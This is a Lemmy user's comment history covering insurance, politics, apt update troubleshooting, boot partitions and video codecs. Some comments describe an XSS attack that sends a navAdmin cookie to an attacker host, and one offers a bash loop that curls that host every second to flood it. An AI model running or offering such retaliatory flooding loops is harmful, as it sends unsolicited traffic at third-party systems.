Gellis12

@Gellis12@lemmy.ca
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Vandalism would normally be covered by comprehensive coverage, and won't affect your premiums; you'll just have to pay a deductible. If you tried to do it yourself, you'd never get the paint to match quite right, so you're better off taking it to an auto body shop to have it professionally repaired.

I'm out of the loop, what's the context for all this?

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If Obama had stolen a bunch of top secret documents, bragged about sharing then with people who weren't allowed to see them, and subsequently been on trial for a bunch of pretty serious crimes, then yes.

Police officers posting for selfies with a criminal who's currently on trial is a bad look.

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Here's a quick bash script if anyone wants to help flood the attackers with garbage data to hopefully slow them down: while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64); sleep 1; done

Once every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It'll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.

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All I see is hunter2

I mean, the one and only reason they exist was because Volkswagen got caught cheating diesel emissions tests. As part of their punishment, they were required to create an ev charging network, and it seems they've been dragging their heels the whole time, trying to make it fail.

They are though, and that's what's scary

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Let me give you two hypothetical scenarios.

  1. I go to a store, buy some stuff, forget to scan something at the self checkout machine, and leave without paying. When I get home, I realize that I didn't pay for something, so I go back to the store, apologize to the clerk, and pay for it.

  2. I go to a store, intentionally hide some stuff in my coat, and leave without paying. When the store realizes that I'm trying to leave without paying. When they confront me, I deny it and accuse them of having "gellis12 derangement syndrome." When they call the cops on me, I refuse to cooperate with the cops. When the cops find the stolen goods on me, I refuse to give them back. When the cops forcibly take them back, I go online to rile up an angry mob and tell them that the stolen goods weren't actually stolen because I thought about paying for them and that should be good enough, before telling the angry mob to attack the cops.

Of these two purely hypothetical scenarios, which one sounds worse?

Sorry, I sneezed

It's pretty common for a laptop to have a dedicated gpu, plus the integrated gpu that's actually part of the cpu.

Definitely sounds like auto-update if it's respawning itself on every boot. The fact that it never exits is weird though; have you added any third party repos? What's in your apt sources.list file(s)?

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The encoded strings are https://zelensky(dot)zip/save/ and navAdmin

Auto update itself isn't the root problem. The problem is that apt update is hanging and never finishing. It just happens to be getting called automatically as part of an auto update system, but the root issue would still persist even if OP disables auto updates.

When apt update fails to complete, it's almost always because of a broken repo somewhere; hence my question about sources.list.

Not just that, it looks for a navAdmin cookie in your browser and sends that to zelensky(dot)zip/save/<your cookie here> in the form of a GET request.

Oh weird, it wasn't returning anything a few minutes ago. I wonder if we pissed then off lol

It's essentially to add a unique salt to each machine that's doing this, otherwise they'd all be generating the same hash from identical timestamps. Afaik, sha hashes are still considered secure; and it's very unlikely they'd even try to crack one. But even if they did try and were successful, there isn't really anything nefarious they can do with your machines local name.

The trouble with AV1 is that it's about a decade behind h.265 in terms of hardware support. Most people aren't upgrading their gpus every single generation, so by the time AV1-compatible hardware starts to see significant market share, it's pretty likely that h.266-compatible hardware will be on the market as well.

Of course, there's also software encoders; but benchmarks of current software encoders put av1 anywhere between 50-1000x slower than x265 for comparable quality and bitrate.

It's definitely cool that people are working on a royalty-free video codec, but h.265 is the undeniable king for the time being.

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No arguments about it being a good TV, but the vast majority of people do not have shiny new LG oled TV's. Hell, most people are still using old 1080p lcd's without any smart TV features, and the people who have got new TV's over the past few years tend to skew heavily towards buying relatively cheap 4k TV's that may not have any smart TV features (after all; if i already have a roku/apple tv/chromecast/etc that covers all of my streaming needs, why would I pay a huge premium to get these features a second time?)

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Netflix rolled out av1 support for a handful of Samsung smart TV's about a year and a half ago, then kinda shoved the project under the rug and never mentioned it again. My guess is that the added costs of having to store their entire library twice plus having to re-encode everything made it uneconomical. Besides, av1 doesn't have a bandwidth advantage over h.265; all of the comparisons that Google likes to use to show off the codec are av1 vs h.264, which is pretty sneaky and misleading imo.

I still run my own xmpp server!

But I'm the only one who has an account on it :/

BMW already did it

Holy shit, she's even crazier than I thought, yikes

I'd leave the main sources.list alone, but temporarily move all of the files out of sources.list.d and see if that fixes it.

Ok, there's the problem. Your boot partition is pretty much full. You're using partitions instead of lvm, so expanding the partition will be next to impossible; so start looking through /boot for stuff that's safe to delete. It's weird that you have so much stuff in there, I don't think I've ever seen my boot partition go above 250mb used.

I know, but I still stand by what I said

zstd: error 25 : Write error : No space left on device (cannot write compressed block)

What's the output of df -H?

Also, this sounds like it's installing initramfs, which is normally only done when first installing the OS; can we get a list of the packages it's trying to install/upgrade?

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What if walking into the redwood forest is what causes your death? You would've lived if you stayed home and played video games instead of going into the forest and getting mauled by a bear

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